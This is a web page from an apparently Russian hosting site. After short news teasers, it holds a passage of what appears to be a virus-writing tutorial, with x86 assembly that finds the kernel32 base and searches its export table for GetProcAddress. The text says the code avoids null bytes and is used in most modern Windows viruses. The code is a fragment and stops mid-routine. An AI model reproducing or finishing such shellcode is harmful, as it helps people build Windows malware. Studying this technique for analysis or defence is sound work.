Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
add edi,edx ; +Адрес kernel
cmp word ptr [edi],'EP' ; Проверка на PE
jne Exit ; Не равно – выходим
В результате работы данного куска кода у нас в регистре edx будет находиться адрес ядра. Данный код специально модифицирован таким образом, чтобы в нём не было нулевых байт.
Теперь перейдём к поиску адреса функции GetProcAddress. Поиск данной функции используется в большинстве современных вирусов, ориентированных на Windows-системы.
По определённому смещению в PE-заголовке мы можем найти адрес таблицы экспортов. В таблице экспортов узнаем количество указателей на функции, расположение таблицы указателей имен и адрес таблицы ординалов. Перебираем указатели (и ординалы), проверяя при этом имена функций, на которые они указывают при совпадении с GetProcAddress. При совпадении возьмем ординал и по таблице адресов мы получим адрес функции.
Рассмотрим пример поиска адреса функции GetProc-Address:
mov ebx,edx ; Сохраним указатель
mov edi,dword ptr [edx+3Ch] ; Адрес PE-заголовка
add edi,edx ; +Адрес kernel
cmp word ptr [edi],'EP' ; Проверка на PE
jne Exit ; Не равно – выходим
push edx ; Сохраним адрес kernel
add ebx,[edi+78h] ; Получим адрес таблицы экспортов
mov ecx,[ebx+18h] ; Количество указателей
mov esi,[ebx+20h] ; Указатель на таблицу указателей имен
mov edi,[ebx+24h] ; Указатель на таблицу ординалов
add esi,edx ; Адрес таблицы имен в памяти
add edi,edx ; Адрес таблицы ординалов в памяти
cld ; Поиск вперед
add ebp,8 ; ebp указывает на следующую строку
Search: ; Ищем функцию GetProcAddress
Lodsd ; Берем указатель из таблицы указателей
add eax,edx ; Получаем адрес памяти
xchg esi,eax ; В esi указатель на имя найденной функции
xchg edi,ebp ;
; Указываем на имя нужной нам функции
push ecx ; Кладём ecx в стек
xor ecx,ecx ; Обнуляем ecx